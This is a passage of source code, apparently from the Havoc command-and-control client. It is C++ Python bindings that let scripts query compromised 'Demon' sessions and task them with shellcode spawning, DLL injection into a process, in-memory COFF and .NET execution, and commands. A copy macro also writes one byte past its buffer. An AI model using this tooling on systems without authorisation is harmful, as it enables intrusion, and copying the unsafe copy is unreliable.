PyDemonClass, OS ),          0, \"Windows Version\" },\n        { \"OSBuild\",        T_STRING, offsetof( PyDemonClass, OSBuild ),     0, \"Windows OS Build\" },\n        { \"OSArch\",         T_STRING, offsetof( PyDemonClass, OSArch ),      0, \"Windows Architecture\" },\n        { \"ProcessName\",    T_STRING, offsetof( PyDemonClass, ProcessName ), 0, \"Process Name\" },\n        { \"ProcessID\",      T_STRING, offsetof( PyDemonClass, ProcessID ),   0, \"Process ID\" },\n        { \"ProcessArch\",    T_STRING, offsetof( PyDemonClass, ProcessArch ), 0, \"Process Architecture\" },\n\n        { \"CONSOLE_INFO\",   T_INT, offsetof( PyDemonClass, CONSOLE_INFO ),   0, \"Console message type info\" },\n        { \"CONSOLE_ERROR\",  T_INT, offsetof( PyDemonClass, CONSOLE_ERROR ),  0, \"Console message type error\" },\n        { \"CONSOLE_TASK\",   T_INT, offsetof( PyDemonClass, CONSOLE_TASK ),   0, \"Console message type task\" },\n\n        { NULL },\n};\n\nPyMethodDef PyDemonClass_methods[] = {\n\n        { \"ConsoleWrite\",           ( PyCFunction ) DemonClass_ConsoleWrite,           METH_VARARGS, \"Prints messages to the demon sessions console\" },\n        { \"ProcessCreate\",          ( PyCFunction ) DemonClass_ProcessCreate,          METH_VARARGS, \"Creates a Process\" },\n        { \"InlineExecute\",          ( PyCFunction ) DemonClass_InlineExecute,          METH_VARARGS, \"Executes a coff file in the context of the demon sessions\" },\n        { \"InlineExecuteGetOutput\", ( PyCFunction ) DemonClass_InlineExecuteGetOutput, METH_VARARGS, \"Executes a coff file in the context of the demon sessions and get the output via a callback\" },\n        { \"DllSpawn\",               ( PyCFunction ) DemonClass_DllSpawn,               METH_VARARGS, \"Spawn and injects a reflective dll and get output from it\" },\n        { \"DllInject\",              ( PyCFunction ) DemonClass_DllInject,              METH_VARARGS, \"Injects a reflective dll into a specified process\" },\n        { \"DotnetInlineExecute\",    ( PyCFunction ) DemonClass_DotnetInlineExecute,    METH_VARARGS, \"Executes a dotnet assembly in the context of the demon sessions\" },\n        { \"Command\",                ( PyCFunction ) DemonClass_Command,                METH_VARARGS, \"Run a command\" },\n        { \"CommandGetOutput\",       ( PyCFunction ) DemonClass_CommandGetOutput,                METH_VARARGS, \"Run a command and retreive the output\" },\n        { \"ShellcodeSpawn\",         ( PyCFunction ) DemonClass_ShellcodeSpawn,         METH_VARARGS, \"Executes shellcode spawning a new process\" },\n\n        { NULL },\n};\n\nPyTypeObject PyDemonClass_Type = {\n        PyVarObject_HEAD_INIT( &PyType_Type, 0 )\n\n        \"havoc.Demon\",                              /* tp_name */\n        sizeof( PyDemonClass ),                     /* tp_basicsize */\n        0,                                          /* tp_itemsize */\n        ( destructor ) DemonClass_dealloc,          /* tp_dealloc */\n        0,                                          /* tp_print */\n        0,                                          /* tp_getattr */\n        0,                                          /* tp_setattr */\n        0,                                          /* tp_reserved */\n        0,                                          /* tp_repr */\n        0,                                          /* tp_as_number */\n        0,                                          /* tp_as_sequence */\n        0,                                          /* tp_as_mapping */\n        0,                                          /* tp_hash */\n        0,                                          /* tp_call */\n        0,                                          /* tp_str */\n        0,                                          /* tp_getattro */\n        0,                                          /* tp_setattro */\n        0,                                          /* tp_as_buffer */\n        Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,   /* tp_flags */\n        \"Demon Session Object\",                     /* tp_doc */\n        0,                                          /* tp_traverse */\n        0,                                          /* tp_clear */\n        0,                                          /* tp_richcompare */\n        0,                                          /* tp_weaklistoffset */\n        0,                                          /* tp_iter */\n        0,                                          /* tp_iternext */\n        PyDemonClass_methods,                       /* tp_methods */\n        PyDemonClass_members,                       /* tp_members */\n        0,                                          /* tp_getset */\n        0,                                          /* tp_base */\n        0,                                          /* tp_dict */\n        0,                                          /* tp_descr_get */\n        0,                                          /* tp_descr_set */\n        0,                                          /* tp_dictoffset */\n        ( initproc ) DemonClass_init,               /* tp_init */\n        0,                                          /* tp_alloc */\n        DemonClass_new,                             /* tp_new */\n};\n\n#define AllocMov( des, src, size )                          \\\n    if ( size > 0 )                                         \\\n    {                                                       \\\n        des = ( char* ) malloc( size * sizeof( char ) );    \\\n        memset( des, 0, size );                             \\\n        std::strcpy( des, src );                            \\\n    }\n\nvoid DemonClass_dealloc( PPyDemonClass self )\n{\n    Py_XDECREF( self->Listener );\n    Py_XDECREF( self->DemonID );\n    Py_XDECREF( self->ExternalIP );\n    Py_XDECREF( self->InternalIP );\n    Py_XDECREF( self->User );\n    Py_XDECREF( self->Computer );\n    Py_XDECREF( self->Domain );\n    Py_XDECREF( self->OS );\n    Py_XDECREF( self->OSBuild );\n    Py_XDECREF( self->OSArch );\n    Py_XDECREF( self->ProcessName );\n    Py_XDECREF( self->ProcessID );\n    Py_XDECREF( self->ProcessArch );\n\n    Py_TYPE( self )->tp_free( ( PyObject* ) self );\n}\n\nPyObject* DemonClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds )\n{\n    PPyDemonClass self;\n\n    self = ( PPyDemonClass ) PyType_Type.tp_alloc( type, 0 );\n\n    return ( PyObject* ) self;\n}\n\nint DemonClass_init( PPyDemonClass self, PyObject *args, PyObject *kwds )\n{\n    if ( PyType_Type.tp_init( ( PyObject* ) self, args, kwds ) < 0 )\n        return -1;\n\n    char*       DemonID          = NULL;\n    auto        DemonSessions    = HavocX::Teamserver.Sessions;\n    uint32_t    NumberOfSessions = DemonSessions.size();\n    const char* kwdlist[]        = { \"DemonID\", NULL };\n\n    if ( ! PyArg_ParseTupleAndKeywords( args, kwds, \"s\", const_cast<char**>(kwdlist), &DemonID ) )\n        return -1;\n\n    for ( int i = 0; i < NumberOfSessions; ++i )\n    {\n        if ( DemonSessions[ i ].Name.compare( DemonID ) == 0 )\n        {\n            /* seems like we are trying to use an 3rd party agent. */\n            if ( DemonSessions[ i ].MagicValue != DemonMagicValue )\n            {\n                spdlog::error( \"[PyError] specified id is not a demon agent\" );\n                PyErr_SetString( PyExc_TypeError, \"specified id is not a demon agent\" );\n                return -1;\n            }\n\n            AllocMov( self->Listener, DemonSessions[ i ].Listener.toStdString().c_str(), DemonSessions[ i ].Listener.size() );\n            AllocMov( self->DemonID, DemonSessions[ i ].Name.toStdString().c_str(), DemonSessions[ i ].Name.size() );\n            AllocMov( self->ExternalIP, DemonSessions[ i ].External.toStdString().c_str(), DemonSessions[ i ].External.size() );\n            AllocMov( self->InternalIP, DemonSessions[ i ].Internal.toStdString().c_str(), DemonSessions[ i ].Internal.size() );\n            AllocMov( self->User, DemonSessions[ i ].User.toStdString().c_str(), DemonSessions[ i ].User.size() );\n            AllocMov( self->Computer, DemonSessions[ i ].Computer.toStdString().c_str(), DemonSessions[ i ].Computer.size() );\n            AllocMov( self->Domain, DemonSessions[ i ].Domain.toStdString().c_str(), DemonSessions[ i ].Domain.size() );\n            AllocMov( self->OS, DemonSessions[ i ].OS.toStdString().c_str(), DemonSessions[ i ].OS.size() );\n            AllocMov( self->OSBuild, DemonSessions[ i ].OSBuild.toStdString().c_str(), DemonSessions[ i ].OSBuild.size() );\n            AllocMov( self->OSArch, DemonSessions[ i ].OSArch.toStdString().c_str(), DemonSessions[ i ].OSArch.size() );\n            AllocMov( self->ProcessName, DemonSessions[ i ].Process.toStdString().c_str(), DemonSessions[ i ].Process.size() );\n            AllocMov( self->ProcessID, DemonSessions[ i ].PID.toStdString().c_str(), DemonSessions[ i ].PID.size() );\n            AllocMov( self->ProcessArch, DemonSessions[ i ].Arch.toStdString().c_str(), DemonSessions[ i ].Arch.size() );\n\n            self->CONSOLE_INFO  = 1;\n            self->CONSOLE_ERROR = 2;\n            self->CONSOLE_TASK  = 3;\n        }\n    }\n\n    return 0;\n}\n\n// Methods\n\n// Demon.shell( TaskID: str, ShellCommands: str )\nPyObject* DemonClass_Shell( PPyDemonClass self, PyObject *args )\n{\n    char* TaskID    = NULL;\n    char* ShellArgs = NULL;\n\n    if ( ! PyArg_ParseTuple( args, \"ss\", &TaskID, &ShellArgs ) )\n        return NULL;\n\n    for ( auto& Sessions : HavocX::Teamserver.Sessions )\n    {\n        if ( Sessions.Name.compare( self->DemonID ) == 0 )\n        {\n            // Sessions.InteractedWidget->DemonCommands->Execute.Spawn( TaskID, R\"(C:\\Windows\\System32\\cmd.exe \\c )\" + QString( ShellArgs ) );\n            break;\n        }\n    }\n\n    Py_RETURN_NONE;\n}\n\n// Demon.InlineExecute( TaskID: str, EntryFunc: str, Path: str, Args: str, Threaded: bool )\nPyObject* DemonClass_InlineExecute( PPyDemonClass self, PyObject *args )\n{\n    spdlog::debug( \"[PyApi] Demon::InlineExecute\" );\n\n    char*     TaskID     = nullptr;\n    char*     EntryFunc  = nullptr;\n    char*     Path       = nullptr;\n    PyObject* PyArgBytes = nullptr;\n    auto      Flags      = QString();\n    PyObject* Threaded   = nullptr;\n\n    if ( ! PyArg_ParseTuple( args, \"sssSO\", &TaskID, &EntryFunc, &Path, &PyArgBytes, &Threaded ) )\n        return nullptr;\n\n    if ( PyObject_IsTrue( Threaded ) == true )\n    {\n        Flags = \"threaded\";\n        spdlog::debug( \"execute object file in threaded\" );\n    }\n    else\n    {\n        Flags = \"non-threaded\";\n        spdlog::debug( \"execute object file in non-threaded\" );\n    }\n\n    for ( auto& Sessions : HavocX::Teamserver.Sessions )\n    {\n        if ( Sessions.Name.compare( self->DemonID ) == 0 )\n        {\n            if ( FileRead( Path ) == nullptr )\n            {\n                Sessions.InteractedWidget->AppendRaw();\n                Sessions.InteractedWidget->TaskError( \"Failed to open object file path: \" + QString( Path ) );\n            }\n            else\n            {\n                auto ArgSize       = PyBytes_GET_SIZE( PyArgBytes );\n                auto ObjArgs       = PyBytes_AS_STRING( PyArgBytes );\n                auto ArgsByteArray = QByteArray( ObjArgs, ArgSize );\n\n                Sessions.InteractedWidget->DemonCommands->Execute.InlineExecute( ( char* ) TaskID, ( char* ) EntryFunc, ( char* ) Path, ArgsByteArray, Flags );\n            }\n\n            break;\n        }\n    }\n\n    Py_RETURN_NONE;\n}\n\nPyObject* DemonClass_InlineExecuteGetOutput( PPyDemonClass self, PyObject *args )\n{\n    spdlog::debug( \"[PyApi] Demon::InlineExecuteGetOutput\" );\n\n    char*     TaskID     = nullptr;\n    char*     EntryFunc  = nullptr;\n    char*     Path       = nullptr;\n    PyObject* PyArgBytes = nullptr;\n    auto      Flags      = QString();\n    PyObject* Callback   = nullptr;\n\n    if ( ! PyArg_ParseTuple( args, \"OssS\", &Callback, &EntryFunc, &Path, &PyArgBytes ) )\n    {\n        spdlog::error( \"Invalid parameters on InlineExecuteGetOutput\" );\n        return nullptr;\n    }\n\n    // InlineExecuteGetOutput only works in \"non-threaded\" mode\n    // this is to avoid \"RequestID\" mixups\n    Flags = \"non-threaded\";\n\n    if ( ! PyCallable_Check( Callback ) )\n    {\n        spdlog::error( \"The callback is not callable\" );\n        return nullptr;\n    }\n\n    for ( auto& Sessions : HavocX::Teamserver.Sessions )\n    {\n        if ( Sessions.Name.compare( self->DemonID ) == 0 )\n        {\n            if ( FileRead( Path ) == nullptr )\n            {\n                Sessions.InteractedWidget->AppendRaw();\n                Sessions.InteractedWidget->TaskError( \"Failed to open object file path: \" + QString( Path ) );\n            }\n            else\n            {\n                auto ArgSize       = PyBytes_GET_SIZE( PyArgBytes );\n                auto ObjArgs       = PyBytes_AS_STRING( PyArgBytes );\n                auto ArgsByteArray = QByteArray( ObjArgs, ArgSize );\n\n                // create a new TaskID\n                auto TaskID = QString( Util::gen_random( 8 ).c_str() );\n\n                // save it the TaskID and the callback function\n                Sessions.TaskIDToPythonCallbacks.insert(pair<QString, PyObject*>(TaskID, Callback));\n                Py_XINCREF(Callback);\n\n                Sessions.InteractedWidget->DemonCommands->Execute.InlineExecuteGetOutput( ( char* ) TaskID.toStdString().c_str(), ( char* ) EntryFunc, ( char* ) Path, ArgsByteArray, Flags );\n\n                return PyUnicode_FromString( TaskID.toStdString().c_str() );\n            }\n\n            break;\n        }\n    }\n\n    Py_RETURN_NONE;\n}\n\n// Demon.DotnetInlineExecute( TaskID: str, Path: str, Args: str )\nPyObject* DemonClass_DotnetInlineExecute( PPyDemonClass self, PyObject *args )\n{\n    char*   TaskID    = NULL;\n    char*   Path      = NULL;\n    char*   Arguments = NULL;\n\n    if ( ! PyArg_ParseTuple( args, \"sss\", &TaskID, &Path, &Arguments ) )\n        return NULL;\n\n    for ( auto& Sessions : HavocX::Teamserver.Sessions )\n    {\n        if ( Sessions.Name.compare( self->DemonID ) == 0 )\n        {\n            Sessions.InteractedWidget->DemonCommands->Execute.AssemblyInlineExecute( TaskID, Path, Arguments );\n            break;\n        }\n    }\n\n    Py_RETURN_NONE;\n}\n\nPyObject* DemonClass_Command( PPyDemonClass self, PyObject *args )\n{\n    char*   TaskID    = NULL;\n    char*   Command      = NULL;\n\n    if ( ! PyArg_ParseTuple( args, \"ss\", &TaskID, &Command ) )\n        return NULL;\n\n    for ( auto& Session : HavocX::Teamserver.Sessions )\n    {\n        if ( Session.Name.compare( self->DemonID ) == 0 )\n        {\n            Session.InteractedWidget->DemonCommands->DispatchCommand( true, TaskID, Command );\n            break;\n        }\n    }\n\n    Py_RETURN_NONE;\n}\n\nPyObject* DemonClass_CommandGetOutput( PPyDemonClass self, PyObject *args )\n{\n    char*   TaskID    = NULL;\n    char*   Command      = NULL;\n    PyObject* Callback   = nullptr;\n\n    if ( ! PyArg_ParseTuple( args, \"ssO\", &TaskID, &Command, &Callback) )\n        return NULL;\n    if ( ! PyCallable_Check( Callback ) )\n    {\n        spdlog::error( \"The callback is not callable\" );\n        return nullptr;\n    }\n\n    for ( auto& Session : HavocX::Teamserver.Sessions )\n    {\n        if ( Session.Name.compare( self->DemonID ) == 0 )\n        {\n            //auto TaskID = QString( Util::gen_random( 8 ).c_str() );\n            // TODO: In the future if the Demon returns back the command\n            // ID this section can be changed to a list in the same way\n            // of BOF_callback. Currently there is no way to match a request\n            // to data received for regular commands to we hook the callback\n            // to work with the next one received.\n\n            HavocX::callbackMessage = Callback;\n            Py_XINCREF(Callback);\n            Session.InteractedWidget->DemonCommands->DispatchCommand( true, TaskID, Command );\n            break;\n        }\n    }\n\n    Py_RETURN_NONE;\n}\n\n// ShellcodeSpawn( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments )\nPyObject* DemonClass_ShellcodeSpawn( PPyDemonClass self, PyObject *args )\n{\n    char* TaskID          = NULL;\n    char* InjectTechnique = NULL;\n    char* TargetArch      = NULL;\n    char* ShellcodePath   = NULL;\n    char* ShellcodeArgs   = NULL;\n    int   ArgSize         = 0;\n    auto  ArgsByteArray   = QByteArray();\n\n    spdlog::debug( \"Running ShellcodeSpawn from python API\" );\n\n    if ( ! PyArg_ParseTuple( args, \"ssssO\", &TaskID, &InjectTechnique, &TargetArch, &ShellcodePath, &ShellcodeArgs ) )\n        return NULL;\n\n    ArgSize       = PyBytes_GET_SIZE( ShellcodeArgs );\n    ShellcodeArgs = PyBytes_AS_STRING( ShellcodeArgs );\n    ArgsByteArray = QByteArray( ShellcodeArgs, ArgSize );\n\n    for ( auto& Sessions : HavocX::Teamserver.Sessions )\n    {\n        if ( Sessions.Name.compare( self->DemonID ) == 0 )\n        {\n            if ( FileRead( ShellcodePath ) == nullptr )\n            {\n                Sessions.InteractedWidget->AppendRaw();\n                Sessions.InteractedWidget->TaskError( \"Failed to open shellcode path: \" + QString( ShellcodePath ) );\n            }\n            else\n            {\n                Sessions.InteractedWidget->DemonCommands->Execute.ShellcodeSpawn( TaskID, InjectTechnique, TargetArch, ShellcodePath, ArgsByteArray );\n            }\n\n            break;\n        }\n    }\n\n    Py_RETURN_NONE;\n}\n\n// Demon.DllInject( TaskID: str, Pid: str, DllPath: str, DllArgs: str )\nPyObject* DemonClass_DllInject( PPyDemonClass self, PyObject *args )\n{\n    char* TaskID  = NULL;\n    char* Pid     = NULL;\n    char* DllPath = NULL;\n    char* DllArgs = NULL;\n\n    if ( ! PyArg_ParseTuple( args, \"ssss\", &TaskID, &Pid, &DllPath, &DllArgs ) )\n        return NULL;\n\n    for ( auto& Sessions : HavocX::Teamserver.Sessions )\n    {\n        if ( Sessions.Name.compare( self->DemonID ) == 0 )\n        {\n            Sessions.InteractedWidget->DemonCommands->Execute.DllInject( TaskID, Pid, DllPath, DllArgs );\n            break;\n        }\n    }\n\n    Py_RETURN_NONE;\n}\n\n// Demon.DllInject( TaskID: str, DllPath: str, DllArgs: str )\nPyObject* DemonClass_DllSpawn( PPyDemonClass self, PyObject *args )\n{\n    char* TaskID        = NULL;\n    char* DllPath       = NULL;\n    char* DllArgs       = NULL;\n    int   ArgSize       = 0;\n    auto  ArgsByteArray = QByteArray();\n\n    if ( ! PyArg_ParseTuple( args, \"ssO\", &TaskID, &DllPath, &DllArgs ) )\n        return NULL;\n\n    ArgSize       = PyBytes_GET_SIZE( DllArgs );\n    DllArgs       = PyBytes_AS_STRING( DllArgs );\n    ArgsByteArray = QByteArray( DllArgs, ArgSize );\n\n    for ( auto& Sessions : HavocX::Teamserver.Sessions )\n    {\n        if ( Sessions.Name.compare( self->DemonID ) == 0 )\n        {\n            if ( FileRead( DllPath ) == nullptr )\n            {\n                Sessions.InteractedWidget->AppendRaw();\n                Sessions.InteractedWidget->TaskError( \"Failed to open dll path: \" + QString( DllPath ) );\n            }\n            else\n            {\n                Sessions.InteractedWidget->DemonCommands->Execute.DllSpawn( TaskID, DllPath, ArgsByteArray );\n            }\n\n            break;\n        }\n    }\n\n    Py_RETURN_NONE;\n}\n\n\n// Demon.ProcessCreate( TaskID: str App: str, Cmdline: str, Suspended: bool, Piped: bool, Verbose: bool )\nPyObject* DemonClass_ProcessCreate( PPyDemonClass self, PyObject *args )\n{\n    PCHAR     TaskID    = nullptr;\n    PCHAR     App       = nullptr;\n    PCHAR     CmdLine   = nullptr;\n    PyObject* Suspended = nullptr;\n    PyObject* Piped     = nullptr;\n    PyObject* Verbose   = nullptr;\n    auto      ProcArg   = QString();\n\n    if ( ! PyArg_ParseTuple( args, \"sssOOO\", &TaskID, &App, &CmdLine, &Suspended, &Piped, &Verbose ) )\n        Py_RETURN_NONE;\n\n    if ( PyObject_IsTrue( Suspended ) )\n        ProcArg += \"4\";\n    else\n        ProcArg += \"0\";\n\n    if ( ! QString( App ).isEmpty() )\n        ProcArg += \";\" + QString( App );\n    else\n        ProcArg += \";\";\n\n    if ( PyObject_IsTrue( Verbose ) )\n        ProcArg += \";TRUE\";\n    else\n        ProcArg += \";FALSE\";\n\n    if ( PyObject_IsTrue( Piped ) )\n        ProcArg += \";TRUE\";\n    else\n        ProcArg += \";FALSE\";\n\n    ProcArg += \";\" + QString( CmdLine ).toUtf8().toBase64();\n\n    for ( auto& Sessions : HavocX::Teamserver.Sessions )\n    {\n        if ( Sessions.Name.compare( self->DemonID ) == 0 )\n        {\n            Sessions.InteractedWidget->DemonCommands->Execute.ProcModule( TaskID, 4, ProcArg );\n            break;\n        }\n    }\n\n    Py_RETURN_NONE;\n}\n\n// Other Methods\nPyObject* DemonClass_ConsoleWrite( PPyDemonClass self, PyObject *args )\n{\n    u32     Type    = 0;\n    char*   Message = NULL;\n\n    if( ! PyArg_ParseTuple( args, \"is\", &Type, &Message ) )\n        Py_RETURN_NONE;\n\n    for ( auto& d : HavocX::Teamserver.Sessions )\n    {\n        if ( d.Name.compare( self->DemonID ) == 0 )\n        {\n            if ( Type == self->CONSOLE_INFO )\n            {\n                d.InteractedWidget->DemonCommands->BufferedMessages << Util::ColorText::Green( \"[+]\" ) + \" \" + QString( Message );\n                break;\n            }\n            else if ( Type == self->CONSOLE_ERROR )\n            {\n                d.InteractedWidget->DemonCommands->BufferedMessages << Util::ColorText::Red( \"[!]\" ) + \" \" + QString( Message );\n                break;\n            }\n            else if ( Type == self->CONSOLE_TASK )\n            {\n                auto TaskID = QString( Util::gen_random( 8 ).c_str() );\n\n                d.InteractedWidget->DemonCommands->CommandTaskInfo[ TaskID ] = Message;\n\n                return PyUnicode_FromString( TaskID.toStdString().c_str() );\n            }\n        }\n    }\n\n    Py_RETURN_NONE;\n}\n"
  },
  {
    "path": "client/src/Havoc/PythonApi/PythonApi.cc",
    "content": "#include <Havoc/PythonApi/PythonApi.h>\n\nnamespace emb\n{\n    PyObject* Stdout_write(PyObject* self, PyObject* args)\n    {\n        std::size_t written(0);\n        Stdout* selfimpl = reinterpret_cast<Stdout*>(self);\n        if (selfimpl->write)\n        {\n            char* data;\n            if (!PyArg_ParseTuple(args, \"s\", &data))\n                return 0;\n\n            std::string str(data);\n            selfimpl->write(str);\n            written = str.size();\n        }\n        return PyLong_FromSize_t(written);\n    }\n\n    PyObject* Stdout_flush(PyObject* self, PyObject* args)\n    {\n        // no-op\n        return Py_BuildValue(\"\");\n    }\n\n    PyMethodDef Stdout_methods[] =\n            {\n                    {\"write\", Stdout_write, METH_VARARGS, \"sys.stdout.write\"},\n                    {\"flush\", Stdout_flush, METH_VARARGS, \"sys.stdout.flush\"},\n                    {0, 0, 0, 0} // sentinel\n            };\n\n    PyTypeObject StdoutType =\n            {\n                    PyVarObject_HEAD_INIT(0, 0)\n                    \"emb.StdoutType\",     /* tp_name */\n                    sizeof(Stdout),       /* tp_basicsize */\n                    0,                    /* tp_itemsize */\n                    0,                    /* tp_dealloc */\n                    0,                    /* tp_print */\n                    0,                    /* tp_getattr */\n                    0,                    /* tp_setattr */\n                    0,                    /* tp_reserved */\n                    0,                    /* tp_repr */\n                    0,                    /* tp_as_number */\n                    0,                    /* tp_as_sequence */\n                    0,                    /* tp_as_mapping */\n                    0,                    /* tp_hash  */\n                    0,                    /* tp_call */\n                    0,                    /* tp_str */\n                    0,                    /* tp_getattro */\n                    0,                    /* tp_setattro */\n                    0,                    /* tp_as_buffer */\n                    Py_TPFLAGS_DEFAULT,   /* tp_flags */\n                    \"emb.Stdout objects\", /* tp_doc */\n                    0,                    /* tp_traverse */\n                    0,                    /* tp_clear */\n                    0,                    /* tp_richcompare */\n                    0,                    /* tp_weaklistoffset */\n                    0,                    /* tp_iter */\n                    0,                    /* tp_iternext */\n                    Stdout_methods,       /* tp_methods */\n                    0,                    /* tp_members */\n                    0,                    /* tp_getset */\n                    0,                    /* tp_base */\n                    0,                    /* tp_dict */\n                    0,                    /* tp_descr_get */\n                    0,                    /* tp_descr_set */\n                    0,                    /* tp_dictoffset */\n                    0,                    /* tp_init */\n                    0,                    /* tp_alloc */\n                    0,                    /* tp_new */\n            };\n\n    PyModuleDef embmodule =\n            {\n                    PyModuleDef_HEAD_INIT,\n                    \"emb\", 0, -1, 0,\n            };\n\n// Internal state\n    PyObject* g_stdout;\n    PyObject* g_stdout_saved;\n\n    PyMODINIT_FUNC PyInit_emb(void)\n    {\n        g_stdout = 0;\n        g_stdout_saved = 0;\n\n        StdoutType.tp_new = PyType_GenericNew;\n        if (PyType_Ready(&StdoutType) < 0)\n            return 0;\n\n        PyObject* m = PyModule_Create(&embmodule);\n        if (m)\n        {\n            Py_INCREF(&StdoutType);\n            PyModule_AddObject(m, \"Stdout\", reinterpret_cast<PyObject*>(&StdoutType));\n        }\n        return m;\n    }\n\n    void set_stdout(stdout_write_type write)\n    {\n        if (!g_stdout)\n        {\n            g_stdout_saved = PySys_GetObject(\"stdout\"); // borrowed\n            g_stdout = StdoutType.tp_new(&StdoutType, 0, 0);\n        }\n\n        Stdout* impl = reinterpret_cast<Stdout*>(g_stdout);\n        impl->write = write;\n        PySys_SetObject(\"stdout\", g_stdout);\n    }\n\n    void reset_stdout()\n    {\n        if (g_stdout_saved)\n            PySys_SetObject(\"stdout\", g_stdout_saved);\n\n        Py_XDECREF(g_stdout);\n        g_stdout = 0;\n    }\n\n}\n"
  },
  {
    "path": "client/src/Havoc/PythonApi/UI/PyDialogClass.cc",
    "content": "\r\n#define PY_SSIZE_T_CLEAN\r\n#include <Python.h>\r\n#include <structmember.h>\r\n\r\n#include <Havoc/PythonApi/PythonApi.h>\r\n#include <Havoc/PythonApi/UI/PyDialogClass.hpp>\r\n\r\n\r\nPyMemberDef PyDialogClass_members[] = {\r\n\r\n        { \"title\",       T_STRING, offsetof( PyDialogClass, title ),    0, \"title\" },\r\n\r\n        { NULL },\r\n};\r\n\r\nPyMethodDef PyDialogClass_methods[] = {\r\n\r\n        { \"exec\",                   ( PyCFunction ) DialogClass_exec,                   METH_VARARGS, \"Display the window\" },\r\n        { \"close\",           ( PyCFunction ) DialogClass_close,           METH_VARARGS, \"Close the window\" },\r\n        { \"addLabel\",               ( PyCFunction ) DialogClass_addLabel,               METH_VARARGS, \"Insert a label in the window\" },\r\n        { \"addImage\",               ( PyCFunction ) DialogClass_addImage,               METH_VARARGS, \"Insert an image in the window\" },\r\n        { \"addButton\",               ( PyCFunction ) DialogClass_addButton,               METH_VARARGS, \"Insert a button in the window\" },\r\n        { \"addCheckbox\",               ( PyCFunction ) DialogClass_addCheckbox,               METH_VARARGS, \"Insert a checkbox in the window\" },\r\n        { \"addCombobox\",               ( PyCFunction ) DialogClass_addCombobox,               METH_VARARGS, \"Insert a checkbox in the window\" },\r\n        { \"addLineedit\",               ( PyCFunction ) DialogClass_addLineedit,               METH_VARARGS, \"Insert a Line edit in the window\" },\r\n        { \"addCalendar\",               ( PyCFunction ) DialogClass_addCalendar,               METH_VARARGS, \"Insert a Calendar in the window\" },\r\n        { \"addDial\",                  ( PyCFunction ) DialogClass_addDial,               METH_VARARGS, \"Insert a Dial in the window\" },\r\n        { \"addSlider\",                  ( PyCFunction ) DialogClass_addSlider,               METH_VARARGS, \"Insert a Slider in the window\" },\r\n        { \"replaceLabel\",               ( PyCFunction ) DialogClass_replaceLabel,               METH_VARARGS, \"Replace a label with supplied text\" },\r\n        { \"clear\",               ( PyCFunction ) DialogClass_clear,               METH_VARARGS, \"clear the dialog\" },\r\n\r\n        { NULL },\r\n};\r\n\r\nPyTypeObject PyDialogClass_Type = {\r\n        PyVarObject_HEAD_INIT( &PyType_Type, 0 )\r\n\r\n        \"havocui.dialog\",                              /* tp_name */\r\n        sizeof( PyDialogClass ),                     /* tp_basicsize */\r\n        0,                                          /* tp_itemsize */\r\n        ( destructor ) DialogClass_dealloc,          /* tp_dealloc */\r\n        0,                                          /* tp_print */\r\n        0,                                          /* tp_getattr */\r\n        0,                                          /* tp_setattr */\r\n        0,                                          /* tp_reserved */\r\n        0,                                          /* tp_repr */\r\n        0,                                          /* tp_as_number */\r\n        0,                                          /* tp_as_sequence */\r\n        0,                                          /* tp_as_mapping */\r\n        0,                                          /* tp_hash */\r\n        0,                                          /* tp_call */\r\n        0,                                          /* tp_str */\r\n        0,                                          /* tp_getattro */\r\n        0,                                          /* tp_setattro */\r\n        0,                                          /* tp_as_buffer */\r\n        Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,   /* tp_flags */\r\n        \"Dialog Havoc Object\",                      /* tp_doc */\r\n        0,                                          /* tp_traverse */\r\n        0,                                          /* tp_clear */\r\n        0,                                          /* tp_richcompare */\r\n        0,                                          /* tp_weaklistoffset */\r\n        0,                                          /* tp_iter */\r\n        0,                                          /* tp_iternext */\r\n        PyDialogClass_methods,                       /* tp_methods */\r\n        PyDialogClass_members,                       /* tp_members */\r\n        0,                                          /* tp_getset */\r\n        0,                                          /* tp_base */\r\n        0,                                          /* tp_dict */\r\n        0,                                          /* tp_descr_get */\r\n        0,                                          /* tp_descr_set */\r\n        0,                                          /* tp_dictoffset */\r\n        ( initproc ) DialogClass_init,               /* tp_init */\r\n        0,                                          /* tp_alloc */\r\n        DialogClass_new,                             /* tp_new */\r\n};\r\n\r\n#define AllocMov( des, src, size )                          \\\r\n    if ( size > 0 )                                         \\\r\n    {                                                       \\\r\n        des = ( char* ) malloc( size * sizeof( char ) );    \\\r\n        memset( des, 0, size );                             \\\r\n        std::strcpy( des, src );                            \\\r\n    }\r\n\r\nvoid DialogClass_dealloc( PPyDialogClass self )\r\n{\r\n    if (self) {\r\n        if (self->title)\r\n            Py_XDECREF( self->title );\r\n        if (self->DialogWindow && self->DialogWindow->window)\r\n            delete self->DialogWindow->window;\r\n        if (self->DialogWindow)\r\n            free(self->DialogWindow);\r\n        Py_TYPE( self )->tp_free( ( PyObject* ) self );\r\n    }\r\n}\r\n\r\nPyObject* DialogClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds )\r\n{\r\n    PPyDialogClass self;\r\n\r\n    self = ( PPyDialogClass ) PyType_Type.tp_alloc( type, 0 );\r\n    if (self == NULL)\r\n        return NULL;\r\n    self->DialogWindow = NULL;\r\n    self->title = NULL;\r\n    self->DialogWindow = (PPyDialogQWindow)malloc(sizeof(PyDialogQWindow));\r\n    if (self->DialogWindow == NULL) {\r\n        Py_TYPE( self )->tp_free( ( PyObject* ) self );\r\n        return NULL;\r\n    }\r\n    self->DialogWindow->window = NULL;\r\n    self->DialogWindow->layout = NULL;\r\n    self->DialogWindow->scroll = NULL;\r\n    self->DialogWindow->root = NULL;\r\n    self->DialogWindow->root_layout = NULL;\r\n    return ( PyObject* ) self;\r\n}\r\n\r\nint DialogClass_init( PPyDialogClass self, PyObject *args, PyObject *kwds )\r\n{\r\n    char*       title       = NULL;\r\n    PyObject*   scrollable = NULL;\r\n    int         width       = 400;\r\n    int         height      = 300;\r\n    const char* kwdlist[]   = { \"title\", \"scrollable\", \"width\", \"height\", NULL };\r\n\r\n    if ( ! PyArg_ParseTupleAndKeywords( args, kwds, \"s|Oii\", const_cast<char**>(kwdlist), &title, &scrollable, &width, &height) )\r\n        return -1;\r\n    AllocMov( self->title, title, strlen(title) );\r\n\r\n    self->DialogWindow->window = new QDialog(HavocX::HavocUserInterface->HavocWindow);\r\n    self->DialogWindow->window->setWindowTitle(title);\r\n    self->DialogWindow->window->resize(width, height);\r\n\r\n    